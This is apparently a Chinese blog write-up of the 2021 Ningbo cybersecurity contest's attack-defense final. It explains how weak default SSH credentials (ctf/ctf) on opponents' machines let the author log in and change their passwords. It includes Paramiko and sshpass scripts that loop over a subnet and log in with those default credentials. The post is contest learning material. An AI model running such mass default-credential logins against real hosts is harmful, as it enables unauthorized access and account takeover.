前景:
2021年第四届宁波网络安全大赛决赛在6月20日于宁波交通轨道集团职工之家举行。
这一届的AWD的原本的赛程是有30分钟的加固时间、150分钟的混战时间。
原计划比赛从下午14点开始,直到下午17点结束。
比赛的时每只队伍分配两台机器,默认的账号为:ctf
,密码也为ctf
,是弱口令。
原本是由30分钟的加固时间,因此正常情况下,选手是有充足的时间去修改弱口令的,但是比赛刚开始的时候,许多选手就遇到了登录不上ssh
的情况,但是大部分选手都在后面陆陆续续登录上并且dump下了源码。
经过30分钟加固时间后,许多选手出现了web
服务打不开,ssh
连接不上的情况,主办方表示是电压不稳的锅,然后就解除了信号屏蔽。
下午15点多的时候,主办方表示,如果服务器在下午17:30之前修不好的话,那么比赛择期,如果能修的好的话继续比赛。
这个时候,许多队伍的源码都dump下来了,其实是可以在本地搭建环境,然后上网找n day
的(而我在吃菠萝包,真好吃
比赛到下午17:30,裁判长表示比赛从17:30开始,到20:30结束(膀胱局?
最最最最震惊的是,比赛基础积分从原本的20000分提升至50000分(感觉自己突然富有!
最最最最最最最最最离谱的是,所有的机器全部重置,赛题不变,然后没有了30分钟的加固时间(这还得了?直接上去ssh改别人的密码啊
比赛从17:30开始,原本我是负责积分榜(代码)审计的,但是没有加固时间,给的用户还都是弱口令,这直接连别人的机器改密码啊!!
一开始想着可以利用Python写个批量连接脚本,后来发现时间不够(技不如人
然后就开始用xshell
一个个连,最后改了两台机器的ssh
密码(早知道用ssh
命令了,比xshell
快多了
最后呢,就有了这篇文章——【用Python批量修改ctf用户密码】
赛题复现:
比赛一共需要维护两台机器,一共31支队伍(15支高校组,16支行业组),因此一共是62台机器
每一台机器给的账号密码都是ctf
并且根据比赛中的情况,IP最后一段是奇数的是同个赛题的机器,偶数的是另一套赛题的机器
比赛环境:
IP:192.168.1.x
,从192.168.1.1
到192.168.1.62
SSH环境:
22端口,账号密码都是ctf
,登录后就会直接要求修改密码,如下图:
emmm,一般情况下,ssh
连接上去之后,输入密码就可以执行了,但是这个地方是需要先修改密码,才能执行命令
所以这篇文章需要实现的就是:利用Python批量连接服务器,然后修改密码
利用Python编写脚本:
既然已经知道脚本的目的:利用Python批量连接服务器,然后修改密码
先搭建一个SSH连接后,会自动要求修改密码(即:实现Linux用户首次SSH登入需要重置新密码方法
实现Linux用户首次SSH登入需要重置新密码方法
当前环境Kali
,IP为:192.168.2.128
首先先添加一个新用户ctf
(为了和比赛环境相同
useradd ctf
然后修改该用户的密码
passwd ctf #输入两次新密码
锁定该账户
usermod -L ctf
强制用户账户过期
chage -d 0 ctf
解锁用户账户
usermod -U ctf
这个时候,我们在远程ssh
连接到ctf
这个用户的时候,就会被要求输入密码
ssh ctf@192.168.2.128
至此:实现Linux用户首次SSH登入需要重置新密码方法,这个问题已经解决了
利用Python解决SSH登录问题
首先需要有一个模块可以解决SSH的问题,而Python中Paramiko
的这个模块可以解决SSH登录问题
接下来给一个小程序,这个小程序可以连接SSH,然后执行ls -la
的命令
import paramiko
# 实例化SSHClient
client = paramiko.SSHClient()
# 自动添加策略,保存服务器的主机名和密钥信息,如果不添加,那么不再本地know_hosts文件中记录的主机将无法连接
client.set_missing_host_key_policy(paramiko.AutoAddPolicy)
# 连接SSH服务端,以用户名和密码进行认证
client.connect(hostname="192.168.2.128" , port=22 , username="kali" , password="kali")
# 打开一个Channel并执行命令
stdin, stdout , stderr = client.exec_command( "ls -la")
# 打印执行结果
print(stdout.read().decode('utf-8'))
# 关闭SSHClient
client.close()
输出结果如下:
利用shell脚本快速登录SSH
但是paramiko
模块无法解决用户首次登陆强制修改密码的问题
因此使用shell
脚本尽量简化ssh
登录流程,shell
脚本如下
(测试机为192.168.2.128
**注意:**需要sshpass
环境快速输入密码
i=120
while(($i<=130))
do
url="ctf@192.168.1.$i"
sshpass -p "ctf" ssh -o ConnectTimeout=1 $url
let "i++"
done
执行后,如下
当然,如果用于这次比赛的话,脚本如下:
i=1
while(($i<=62))
do
url="ctf@192.168.2.$i"
sshpass -p "ctf" ssh -o ConnectTimeout=1 $url
let "i++"
done
这样,一个不讲武德,可以在没有加固时间并且都是弱口令的AWD环境下,快速拿别人的机器修改密码的脚本出现了(笑死,根本才7行代码